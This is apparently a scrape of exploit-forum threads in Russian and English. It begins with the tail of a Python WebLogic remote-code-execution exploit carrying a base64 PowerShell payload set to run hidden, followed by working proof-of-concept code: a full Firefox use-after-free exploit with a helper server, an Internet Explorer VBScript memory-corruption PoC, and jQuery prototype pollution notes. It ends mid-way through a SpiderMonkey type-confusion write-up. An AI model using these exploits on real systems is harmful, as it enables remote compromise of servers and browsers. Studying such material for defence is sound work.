MABIAEoARgBRAHUATgB3AHAAdQBzAGcAdAB1AEkAUABSAEMAdgBGAEcAVwBOAGwANQBYAGYATQBhAEoAZgBrAHEAUQBEAHQAVgA1AFcAMABsADAAbwBnADUAWQBoAEUATAAwAE0AZQB2AHcALwBUADUAbgA3AEcAeQBGADUAUgBmAGMAVgBQAG0AWABvAGQAbgB1AGYAMABBADMAQgBmADMAaAB5ACsATwBRAHcASwByAHAARAB6AGwAMQBTAEIAMABjAEYAMABOAHkAYgBnAG0AKwBiAHcAbABPADYAawBQAGkAcgBWAHMAbQBMAEQATQBWAGoAdwBaAEEAUABUADAAawAyAFMARQBYADMAMgBqAEsAeABTAFMAcwBmAE4AKwAvAEsAUAA5AFcAdQBGAE0ASQBnAFMAdgB3ADgAcgAwAHgARwBuAC8AZwB3ADAAOABtAFMAVwA4AEwAZwBwAGwAMwAvAE0AeQBTAFkASgBhAEUAeQBhAG0AeABoAEgAMQBDAHQAbwBwADcAMgBHAE0AQQBrAFkAMgBjAFYAWABLAGMAUQB1AHcAUwBWAE4AegBUAGUASQAzAHkAUwBNAGgARgBoAEkAMABHAFMAaQB2ADEATgByAFIAVgBRADgANgA1AG8AWgBaAFQANQBKAGsAQQBkAFoAUwBzAEUAcgBTAEsARAArAHIAVABQADcAUABHAGkAcQBGAGQAcwBrAEEAbwBUADIAYwAyAEIAZQBLAFEAQwB5AGsAMABJADYASgAvAGkAbQBPAEYAMwBPAFEAVQBoAHQATQBKAHkAbQBaAGMAWABKAG8ATgBxADgAcwB1AEkAUwB6AEkAaABmAFYAbABDAGMAMABuAHcATABaAFkATAB2AGgAdQBwAFgAZAArADIATQBDAGUAcgBoAFYAQgBUAG0AWgBuAG8ATwBZADMANQBjAGcAOABlAHAAUwBEAEkAUABjAGcAYQBoADMANwBoAEwANABsAEgATQBKAEIASgBsAHAAVQB0ADkAWQBtADUAYwBHAGgAYgBIAHEAcQAvAGkAMABNAEMATQBRAFEAMgBBAHAAUgBYAGsAQQBWAFoAawAvAEsANgBRAFQARQBqAEEAdwAxADMAVwA5AFkAcABMAGgAQgBVAHQARwBZAGwAQQBaAGwAZgAxAGIAWQBaAEQAcQBQAEcAYwA2AFQAdgBxADQASgBEADQANgByADgAYwBMAEoAaQA4AHAANgAxAEUAbwBvAEQAZwBoAFgAdQBRAFgAcABkAHgAVQBWAFoARwBOAEIASABRAE8AeQBTAHEAdwBLAEQALwBkAHYAaQBMAHAAaQBIAGQAYQBDAFEAawBUADQATgBXAFYATQBiAFUAMwBBAGoASgA2AE4ASwBXAGUAcQAyADEASgBHAFMATwB5AGcANgBEAFIARQBEADgANwBZAFIASABKAGsANwBKACsALwBxACsAUQAyAGgAdgBqAFMAdgBhAFEAUABCAE0AcgBKAGoAWgBuAHYAbABBAGEAKwBpAEoAMQBpAHcAYgB2AGsATgA2AGEAdgBIAG0AbQBmACsAcAB0ACsAZwBhAFMAWABNADkARAA1AEMAVgBXAG4AYgBYAGEAUQA2ADYAMwBmAHEAcQA1ADQANwBxAHcAbQAxAFoANABwAE4AagBDAGIAcwAxAFgAaQB4AGMAMQBMADAAZQBUAHMAUwBkAGgAYgBvADMAdABQAG8AdwBxAFcAKwBYAFAAYgBwADEAKwA4AGkAZgByAEkAMwAzAFcAMwBQADcAVgBEAFgAWAAyADAAWABvAEIANQBOAG0ARQBJAFIAbgBnAFgAdABkAGUAOQBlAG0ALwBkAHYARwB3AEsAeQBlADQASAA2AHoAbABmAFYAdgB6AFMAZQB6AFcAawA5AGIAOQBLAGsANwBvAE0AUABCAFEANgA4AHQANwBpAGMAagBoAG8AZQBCAEUAWQA1AHIANQA1AGkAdQArADgAbABpAFYATwBQADIAMQBrAEsAbwBNAHoALwAxAHQAcgAxAGcAMQBKAG4AYgAvAG0AYgBTAHAAVwBSAGgAVgBQAHQAMABnAEEAWQBJAGYAZgBLAHUAaAA4AE4ATwB1AEEAdwA3AEsAVABMAE8AUgA0ACsATgBLAEcAeQBPAEgAVwBlAEIAawBZAFYAYQBvADAAMwB2AEgAVABNAEgAdwA3AGEASgBoAGkAMQB6AGcASwArADQAYwAzAHIAVQBOAEcAcAAzAC8AbQBPAHIAZgBUAGYARwB2AFkAagA1AG4AYQA1AFIAbQA0AHkAUgBqAHgATABqAEoAcAB6AFgAegBxADcAbQBzAGMAUQBKAGgAKwBhAGoASwBXAFYAUQAvADIANwBUAE4AawBEAEcAcQBhAE4AdQAvAFkAUgB1ADcAeAA0AEgAbgBSAEMAMQBRAEcAWQBVAGMAWQBUAGIAOQBHAEYANABOAEEAYQBiAGwAegBlAGcAYwB6AHUAcwArAFIAeQBKADIAQgBvAGIAeABpAGcAMABRAGgAUwA0ADgAdwBsAEcASgBrAGkAYgBqADYAaAB0ADgAcwBiAG0AZwAyAE0ANwB4AG0AaAAwAE0AcQAvAGQAUAA5AFQAbQA0AEQATQBaAHIAegA3AFkAUABYAFQAVQA5AGgAegBEAE0ASQA2AGkAZQAvAGcAMQBrAEcAYwB2ADEALwBIAFkAZgBEAHAAYgBQAFEAbgBjAHUAdwBYAGIATgA4AGIANQA4AE8ATgBiAHkAUgBFAGcAUwBTAGsAeQBhADgAMABYAHUAZgA5AFIAeQA3AFoAeABrAHMANAB4AEEAMAA1AEEATQB5ADcASwBzAE0AMgBUAGQAdAA1AGUASABVADYAbABoAHEAYgBKAEsALwBtAEIASgBEAEYAaABjAEsAUABCAG4AVgBlAFEARwBUAEgARwBQAGQAbgBjAG8AUQAvAEQAdABiAEoAdgA5AHYATAB1AEcAYwBMAHcAOQBPAFQAVgBrAGEANAA4AEMAKwBwAGYAZQAzADYAeABkAEgARgB4AEIAeQA1AEMAZABlAHoANABXACsAbQBUAE8AQgBUAHoAYwBuAFYAOQBXAHEAMQBDAEQANgArAHUANgAxAFcASQA4AGQAZgBqAGEAdgBEAGwAUgB0AHYAYgBLAHMAdABMAFkASQBmAE0AcwAzAFcAMgBzADYANwBMAHUAaQBrAHQAKwA2AFAALwBGAGIARwA4AFYAdQBmAHcANQAvADgAYwBzAGEAOQByAFAAOQBuADkASgBSAFMAcgA1AFgAMgA4ADMAeQAxAC8AdQAvAEIAYgBpAFAANQB1ADMATABlAFkAQwBoAEIAMABvAGQARQB3AHMAcgAvAG4AWABnAHMALwA1ADgAYQBMAGwAdwBCAEkAQwBPAFEAOQB5AEIALwA1AEMAbgBlAFYAaQBlAE4ATABlAEQAVgA0AGMALwBnAFAAeQBrAHYAWgBDAGkAdwBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="

url =  sys.argv[1]

request_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Content-Type": "text/xml"}
data="<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">\r\n    <soapenv:Header>\r\n        <wsa:Action>xx</wsa:Action>\r\n        <wsa:RelatesTo>xx</wsa:RelatesTo>\r\n        <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n            <void class=\"java.lang.ProcessBuilder\">\r\n                <array class=\"java.lang.String\" length=\"3\">\r\n                    <void index=\"0\">\r\n                        <string>cmd</string>\r\n                    </void>\r\n                    <void index=\"1\">\r\n                        <string>/c</string>\r\n                    </void>\r\n                    <void index=\"2\">\r\n                        <string>%s</string>\r\n                    </void>\r\n                </array>\r\n            <void method=\"start\"/></void>\r\n        </work:WorkContext>\r\n    </soapenv:Header>\r\n    <soapenv:Body>\r\n    <asy:onAsyncDelivery/>\r\n    </soapenv:Body>\r\n</soapenv:Envelope>" %  (exploit)
response = requests.post(url, headers=request_headers, data=data)
print "status_code:%s" % str(response.status_code)
print(response)
Prototype Pollution, JavaScript library JQuery < 3.4.0, CVE-2019-11358
ID: 67686ba3b4103b69df379cec
Thread ID: 28940
Created: 2019-04-22T11:18:58+0000
Last Post: 2019-04-22T11:18:58+0000
Author: weaver
Prefix: Web
Replies: 0 Views: 2K

В популярной JavaScript-библиотеке jQuery, использующейся на 74% сайтов, исправлена опасная уязвимость. Web-разработчикам рекомендуется обновить jQuery в своих проектах до версии 3.4.0.

Речь идет о редко встречающейся уязвимости prototype pollution, суть которой исследователи безопасности стали понимать только сейчас (впервые уязвимость prototype pollution была задокументирована в прошлом году). Название проблемы говорит само за себя – с ее помощью злоумышленник может модифицировать прототип объекта JavaScript.

Прототипы объектов JavaScript подобны переменным, только вместо одного значения (var car = "Fiat") они могут содержать несколько значений, основывающихся на заранее определенной структуре (var car ={type:"Fiat", model:"500", color:"white"}). Прототипы устанавливают для объектов структуру и значения по умолчанию, благодаря чему приложение не завершает работу, если значения не были установлены. Внесение изменений в прототип объекта может серьезным образом сказаться на обработке данных приложением и проложить путь другим, еще более опасным атакам.

Уязвимость prototype pollution в jQuery (CVE-2019-11358) [была обнаружена](https://snyk.io/blog/after-three-years-of-silence-a-new-jquery- prototype-pollution-vulnerability-emerges-once-again/) исследователями компании Snyk. На прошлой неделе они опубликовали PoC-эксплоит и продемонстрировали, как с ее помощью злоумышленник может получить права администратора в web-приложении, использующем jQuery.

Как бы то ни было, уязвимости prototype pollution очень сложно проэксплуатировать, поскольку атакующий должен произвести с каждым отдельным кодом весьма тонкие манипуляции.

PoC
$.extend( true, ... )

[https://snyk.io/blog/after-three-ye...e-pollution-vulnerability-emerges-once- again/](https://snyk.io/blog/after-three-years-of-silence-a-new-jquery- prototype-pollution-vulnerability-emerges-once-again/)
https://github.com/jquery/jquery/pull/4333
https://snyk.io/vuln/SNYK-JS-JQUERY-174006

Дополнительная информация

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F268b7965d4be94d4868cf7bb1fdf304ef6b8e5888e79922067ee592426e7161c%2FHoLyVieR%2Fprototype- pollution-nsec18&hash=b8962669e04fe090c314d9383cfbb818&return_error=1)

[ prototype-pollution-

nsec18/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf at master · HoLyVieR/prototype-pollution-nsec18 ](https://github.com/HoLyVieR/prototype- pollution- nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)

Content released at NorthSec 2018 for my talk on prototype pollution - HoLyVieR/prototype-pollution-nsec18

github.com github.com

Use-after-free parsing HTML5 stream, Firefox < 65, CVE-2018-18500
ID: 67686ba3b4103b69df379ced
Thread ID: 28867
Created: 2019-04-18T07:06:24+0000
Last Post: 2019-04-18T07:06:24+0000
Author: weaver
Prefix: DoS
Replies: 0 Views: 2K

customelements_poc.html

HTML:Copy to clipboard

<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=">
</head>
<body onload="setTimeout(function () { go(); }, 4000);">
<h1>log:</h1>
<p id=p>Sleeping...<br></p>
<script>
var xhrs = new Array(40000);
var xhrs_responses = new Array(40000);
var delay_xhr = new XMLHttpRequest();
var delay_xhr2 = new XMLHttpRequest();
var delay_xhr3 = new XMLHttpRequest();
var formdatas = new Array(4000);
var xhr_data_uri_length = 0x4000;
var filereaders = new Array(100);
var gc_ab = [];
var p = document.getElementById("p");
delay_xhr.open('GET', '/delay.xml', false);
delay_xhr2.open('GET', '/delay.xml', false);
delay_xhr3.open('GET', '/delay.xml', false);
function find_malformed_response() {
    for (var i = 0; i < 40000; i++) {
        xhrs_responses[i] = new Uint32Array(xhrs[i].response);
        if (xhrs_responses[i][0] != 0x78787878) { // "xxxx"
            return i;
        }
    }
    return null;
}
    
addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
    if (event.data == "0") {
        p.innerHTML += "Allocating FileReaders<br>";
        for (var i = 0; i < filereaders.length; i++) {
            filereaders[i] = new FileReader();
        }
    } else if (event.data == "1") {
        for(var i = 0; i < xhrs.length; i++) {
            xhrs[i] = new XMLHttpRequest();
        }
        let data_uri = "data:text/plain," + "x".repeat(xhr_data_uri_length);
        for(var i = 0; i < xhrs.length; i++) {
            xhrs[i].open("GET", data_uri, true);
            xhrs[i].responseType = "arraybuffer";
            xhrs[i].send(null);
        }
    } else if (event.data == "2") {
        var idx = find_malformed_response();
        if (idx == null) {
            p.innerHTML += "Failed corrupting any XMLHttpRequest<br>";
        } else {
            let blob = new Blob();
            let FileReader_idx;
            
            p.innerHTML += "Malformed ArrayBuffer found in index " + idx + "<br>";
            for (var i = 1; i <= Math.floor(xhr_data_uri_length / 0x140); i++) {
                // +0xc0 FileReader.mCharset.mLength
                // +0xc4 FileReader.mCharset.{mDataFlags,mClassFlags}
                // +0xc8 FileReader.mDataLen
                // +0xcc FileReader.mDataFormat
                if (xhrs_responses[idx][(0x140*i + 0xc0) / 4] == 0 &&
                        xhrs_responses[idx][(0x140*i + 0xc4) / 4] == 0x20001 &&
                        xhrs_responses[idx][(0x140*i + 0xc8) / 4] == 0 &&
                        xhrs_responses[idx][(0x140*i + 0xcc) / 4] == 1) {
                    var offset = 0x140*i;
                    p.innerHTML += "Offset to FileReader from malformed ArrayBuffer: 0x" + offset.toString(16) + "<br>";
                    FileReader_idx = i;
                    break;
                }
            }
            if (FileReader_idx === undefined) {
                p.innerHTML += "Couldn't find FileReader from malformed ArrayBuffer<br>";
            } else {
                for (i = 0; i < filereaders.length; i++) {
                    filereaders[i].readAsArrayBuffer(blob);
                }
                xhrs_responses[idx][(0x140*FileReader_idx + 0xa8) / 4] = 0x41414141; // mDataPtr
                xhrs_responses[idx][(0x140*FileReader_idx + 0xac) / 4] = 0x41414141; // mDataPtr
                xhrs_responses[idx][(0x140*FileReader_idx + 0xc8) / 4] = 0x1000; // mDataLen
                xhrs_responses[idx][(0x140*FileReader_idx + 0x110) / 4] = 0x1000; // mTotal
                setTimeout(function() {
                    for (i = 0; i < filereaders.length; i++) {
                        window._41414141 = filereaders[i].result;
                        if (window._41414141.byteLength != 0) {
                            p.innerHTML += "Created 0x4141414141414141 ArrayBuffer!<br>";
                            break;
                        }
                    }
                    if (i == filereaders.length) {
                        p.innerHTML += "Couldn't create 0x4141414141414141 ArrayBuffer<br>";
                    }
                }, 1000);
            }
        }
    }
}
function formdata_append_one(f) {
    f.append(null, null);
}
function formdata_delete_all(f) {
    f.delete(null);
}
function go() {
for (i = 0; i < formdatas.length; i++) {
    formdatas[i] = new FormData();
}
let f = document.createElement("iframe");
f.srcdoc = `<body>
    <script>
    const MB = 0x100000;
    function gc() {
        // Taken from https://github.com/saelo/foxpwn
        const maxMallocBytes = 128 * MB;
        for (var i = 0; i < 3; i++) {
            parent.gc_ab[i] = new ArrayBuffer(maxMallocBytes);
        }
    }
    class CustomImageElement extends HTMLImageElement {
        constructor() {
            super();
            // post message "0" (allocate FileReaders) to parent, and invoke delay XHR request
            parent.postMessage("0", "*");
            parent.delay_xhr3.send(null);
            // "parent" is going to be unusable after document has changed, so we're declaring variables now to hold references to objects inside parent to be able to use them later
            var formdatas = parent.formdatas;
            var delay_xhr = parent.delay_xhr;
            var delay_xhr2 = parent.delay_xhr2;
            var formdata_delete_all = parent.formdata_delete_all;
            var parent_ref = parent;
        
            gc();
            location.replace("about:blank");
            delay_xhr.send(null);
            // mHandles is freed now
            for (var i = 0; i < formdatas.length; i++) {
                formdata_delete_all(formdatas[i]);
            }
            // all 0x1000 FormData allocations are freed now
            // post message "1" (allocate XMLHttpRequests) to parent, and invoke delay XHR request
            parent_ref.postMessage("1", "*");
            delay_xhr2.send(null);
            // post message "2" (continue exploitation) to parent, but without invoking a delay XHR request so that scheduling occurs only after the write-after-free corruption
            parent_ref.postMessage("2", "*");
            
            parent.p.innerHTML += "Custom element constructor returning<br>";
        }
    }
    customElements.define('custom-img', CustomImageElement, { extends: "img" });
    </scrip` + `t>
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img />
    <img is=custom-img />
    </body>`;
for (var i = 0; i < formdatas.length; i++) {
    // 43 appends will cause FormData's internal array "mFormData" to re-allocate itself into a 0x1000 allocation
    for (var j = 0; j < 43-1; j++) {
        formdatas[i].append(null, null);
    }
}
p.innerHTML += "Allocating 0x1000 buffers with FormDatas<br>";
for (var i = 0; i < formdatas.length; i++) {
    formdata_append_one(formdatas[i]);
}
p.innerHTML += "Poking holes in 0x1000 buffers<br>";
setTimeout(function () {
    for (var i = 300; i < formdatas.length; i += 550) {
        formdata_delete_all(formdatas[i]);
    }
    document.body.prepend(f);
}, 1000);
}
</script>
</body>

delay_http_server.py

Python:Copy to clipboard

#!/usr/bin/env python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer
import time

class S(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        self._set_headers()
        if self.path == '/customelements_poc.html':
            self.wfile.write(open('customelements_poc.html', 'r').read())
        elif self.path == '/delay.xml':
            time.sleep(2)
            self.wfile.write("<xml></xml>")
        else:
            self.wfile.write("<html><body><h1>open /customelements_poc.html</h1></body></html>")

    def do_HEAD(self):
        self._set_headers()
        
def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('127.0.0.1', port)
    httpd = server_class(server_address, handler_class)
    print 'Starting httpd...'
    httpd.serve_forever()

if __name__ == "__main__":
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()
RCE, Internet Explorer 9\10\11 (VBScript Engine), CVE-2019-0667
ID: 67686ba3b4103b69df379cef
Thread ID: 28845
Created: 2019-04-16T23:15:06+0000
Last Post: 2019-04-17T02:28:48+0000
Author: weaver
Prefix: DoS
Replies: 2 Views: 2K

Spoiler: Таргеты

Microsoft Internet Explorer 9 0
Microsoft Internet Explorer 11
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows 10 Version 1803 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1803 for x64-based Systems 0
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
Microsoft Internet Explorer 10
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 8 for 32-bit Systems 0
+ Microsoft Windows 8 for 32-bit Systems 0
+ Microsoft Windows 8 for x64-based Systems 0
+ Microsoft Windows 8 for x64-based Systems 0
+ Microsoft Windows RT 0
+ Microsoft Windows RT 0
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2012 0
+ Microsoft Windows Server 2012 0
+ Microsoft Windows Server 2012 0

Spoiler: Детали уязвимости

VBScript: Memory corruption in VbsErase

Related CVE Numbers: CVE-2019-0667.

There is an issue in VBScript in the VbsErase function. In some cases (see the attached PoC), VbsErase fails to clear the argument variable properly, which can trivially lead to crafting a variable with the array type, but with a pointer controlled controlled by an attacker. This issue was most likely introduced in an attempt to fix a previously reported issue in VbsErase (https://bugs.chromium.org/p/project-zero/issues/detail?id=1668).

Debug log (Note: this was tested on Windows 10 64-bit v1809 with the most recent patches applied):

(25b4.efc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
VBSCRIPT!VbsErase+0x5a:
6e0fc9fa 8b3e mov edi,dword ptr [esi] ds:002b:13371337=????????

0:009:x86> r
eax=0000600c ebx=05dc10dc ecx=00000000 edx=00000000 esi=13371337 edi=05c5ca44
eip=6e0fc9fa esp=05c5ca28 ebp=05c5ca48 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
VBSCRIPT!VbsErase+0x5a:
6e0fc9fa 8b3e mov edi,dword ptr [esi] ds:002b:13371337=????????

0:009:x86> k

ChildEBP RetAddr

00 05c5ca48 6e0beac7 VBSCRIPT!VbsErase+0x5a
01 05c5ca64 6e0b9d64 VBSCRIPT!StaticEntryPoint::Call+0x37
02 05c5cb9c 6e0b8297 VBSCRIPT!CScriptRuntime::RunNoEH+0xc94
03 05c5cbec 6e0b81b5 VBSCRIPT!CScriptRuntime::Run+0xc7
04 05c5ccfc 6e0b354d VBSCRIPT!CScriptEntryPoint::Call+0xe5
05 05c5cd90 6e0ae175 VBSCRIPT!CSession::Execute+0x52d
06 05c5cdd8 6e0c0638 VBSCRIPT!COleScript::ExecutePendingScripts+0x14a
07 05c5ce6c 6e0c03e9 VBSCRIPT!COleScript::ParseScriptTextCore+0x24b
08 05c5ce98 7053ff31 VBSCRIPT!COleScript::ParseScriptText+0x29
09 05c5ced0 7053f847 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
0a 05c5cf40 7053ee02 MSHTML!CScriptCollection::ParseScriptText+0x182
0b 05c5d02c 7053f50e MSHTML!CScriptData::CommitCode+0x312
0c 05c5d0a8 7053e35a MSHTML!CScriptData::Execute+0x1ba
0d 05c5d0c8 7053c526 MSHTML!CHtmScriptParseCtx::Execute+0xaa
0e 05c5d11c 70635a4c MSHTML!CHtmParseBase::Execute+0x186
0f 05c5d13c 70635319 MSHTML!CHtmPost::Broadcast+0x14c
10 05c5d264 7060b4dd MSHTML!CHtmPost::Exec+0x339
11 05c5d284 7060b3d6 MSHTML!CHtmPost::Run+0x3d
12 05c5d2a4 7060b368 MSHTML!PostManExecute+0x60
13 05c5d2b8 7060b2d9 MSHTML!PostManResume+0x6f
14 05c5d2e8 70596767 MSHTML!CHtmPost::OnDwnChanCallback+0x39
15 05c5d300 70637b9b MSHTML!CDwnChan::OnMethodCall+0x27
16 05c5d37c 706381b3 MSHTML!GlobalWndOnMethodCall+0x1cb
17 05c5d3cc 75dc635b MSHTML!GlobalWndProc+0x1f3
18 05c5d3f8 75db729c USER32!_InternalCallWinProc+0x2b
19 05c5d4dc 75db63db USER32!UserCallWinProcCheckWow+0x3ac
1a 05c5d550 75db61b0 USER32!DispatchMessageWorker+0x21b
1b 05c5d55c 71a41e05 USER32!DispatchMessageW+0x10
1c 05c5f6e0 71a413b3 IEFRAME!CTabWindow::_TabWindowThreadProc+0x435
1d 05c5f7a0 724bdf6c IEFRAME!LCIETab_ThreadProc+0x403
1e 05c5f7b8 715b24bd msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c
1f 05c5f7f0 75fdfe09 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d
20 05c5f800 77ab662d KERNEL32!BaseThreadInitThunk+0x19
21 05c5f85c 77ab65fd ntdll_77a50000!__RtlUserThreadStart+0x2f
22 05c5f86c 00000000 ntdll_77a50000!_RtlUserThreadStart+0x1b

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: ifratric@google.com

PoC

HTML:Copy to clipboard

<!-- saved from url=(0016)http://localhost -->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/vbscript">

Class class5
  Private Sub Class_Terminate()
var4 = &h13371337
ReDim var4(10000000000)
  End Sub
End Class

On Error Resume Next
msgbox "start"
Dim var4(10)
set var4(1) = new class5
Erase var4
Erase var4

</script>
Type Confusion, Firefox 66, CVE-2019-9813
ID: 67686ba3b4103b69df379cf0
Thread ID: 28771
Created: 2019-04-13T10:23:30+0000
Last Post: 2019-04-13T10:23:30+0000
Author: weaver
Prefix: DoS
Replies: 0 Views: 2K

Таргеты тут

Bugtraq

www.securityfocus.com www.securityfocus.com

Детали уязвимости

Code:Copy to clipboard

SpiderMonkey: IonMonkey compiled code fails to update inferred property types, leading to type confusions

Related CVE Numbers: CVE-2019-9813



A bug in IonMonkey leaves type inference information inconsistent, which in turn allows the compilation of JITed functions that cause type confusions between arbitrary objects.

# Prerequisites

In Spidermonkey, every JavaScript objects is an instance of the JSObject class [1]. Plain JavaScript objects (e.g. ones created through an object literal) are typically instances of the NativeObject [2] class. A NativeObject is basically:

* An ObjectGroup [3] which stores things like the prototype and type information for properties (see below)
